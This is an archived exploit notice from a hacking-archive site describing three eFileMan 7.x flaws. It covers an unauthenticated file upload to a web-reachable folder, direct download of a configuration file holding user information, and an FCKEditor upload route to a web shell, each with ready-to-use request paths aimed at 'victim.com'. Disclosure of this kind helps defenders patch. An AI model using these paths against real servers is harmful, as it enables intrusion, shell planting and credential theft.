AOH :: HP Unsorted E :: TB13105.HTM

eFileMan 7.x Multiple Vulnerabilities by Xcross87



eFileMan 7.x Multiple Vulnerabilities by Xcross87
eFileMan 7.x Multiple Vulnerabilities by Xcross87



Software : eFileman
Version : 7.x (tested on 7.1.0.87-88)
Found by : Xcross87

A. Remote File Upload Vulnerability :

Xploit :

http://victim.com/[path]/upload.html
http://victim.com/[path]/cgi-bin/efileman/upload.cgi

The uploaded files are stored in :
http://victim.com/[path]/uploads/upload_file.xxx

B. Direct Access or Download Configuration File
Xploit :
http://victim.com/[path]/cgi-bin/efileman/efileman_config.pm <-- check user information

C. FCKEditor Inclusion.
For full pack of eFileman installation including FCKEditor, attacker can up shell through upload vulnerability of FCK

=== Xcross87 | HCETeam Xploiter ==

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.